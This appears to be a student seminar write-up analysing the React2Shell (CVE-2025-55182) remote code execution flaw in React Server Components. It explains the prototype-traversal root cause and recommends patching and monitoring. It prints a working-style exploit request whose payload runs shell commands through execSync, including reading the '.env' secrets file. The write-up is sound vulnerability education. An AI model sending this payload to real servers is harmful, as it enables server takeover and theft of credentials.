
[우리 FISA] 기술 세미나 우승 - 클라우드 서비스 개발 6기 3팀 - React2Shell (CVE-2025-55182) 분석 및 연구
Woori FISA Technical Seminar 6th - Team 3: Analysis and research on React2Shell, a remote code execution (RCE) vulnerability exploiting design flaws in React Server Component (RSC)

| Member | Role | GitHub |
|---|---|---|
| 남인서 | Research, PPT production, Presentation | @sene03 |
| 유승준 | Research, PPT production, Presentation | @fluanceifi |
| 이수현 | Research, PPT production | @hyun793 |
| 김유정 | Research, PPT production | @yujung23 |
React2Shell (CVE-2025-55182) is a critical security vulnerability discovered in the communication process of the Flight Protocol used by React Server Component (RSC).
React uses the Flight Protocol, which supports complex types such as Promise, Blob, Map in addition to strings and arrays, to process components.
| Expression | Type | Description |
|---|---|---|
$$ | Escaped $ | Literal string starting with $ |
$@ | Promise/Chunk | Reference to chunk ID |
Attackers exploit the vulnerability in this protocol stream processing method to inject malicious scripts and gain control of the server.
The attacker sends JSON data to the server via a request containing Next-Action and multipart/form-data headers. At this point, they include a fake chunk disguised as a Promise object in the request body.
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// Example of fake chunk sent by attacker
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then of the fake chunk sent by the attacker is mapped to Chunk.prototype.then._prefix is passed as an argument to Function.thenable of a Promise, the arbitrary code planted by the attacker is executed on the server.// POST request response example
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value, it splits the string at colons (:) and traverses the object's internals.$1:__proto__:then allows access to the chunk's prototype and its then property (Chunk.prototype.then).then of a real chunk, causing the attacker's intended code to execute.This vulnerability caused major ripples throughout the modern web ecosystem.
The React2Shell incident left the lesson that 'frontend developers must also understand server security.'
Update related packages such as react-server-dom-webpack to the latest version (19.0.1+, etc.) immediately.
Frameworks that embed RSC, such as Next.js, are not resolved by simply upgrading React alone; it is necessary to check the framework's own security release notes and upgrade to the latest version.
Utilize monitoring systems like Grafana and connect them to alert channels (e.g., email, Slack) to set up alarms for immediate action.
As the frontend's domain expands with technological advancement, we must recognize that the scope of security responsibility has also broadened.
React2Shell: Complete Analysis Guide for CVE-2025-55182 Vulnerability
Analysis of React Server Component Vulnerability and System Penetration Path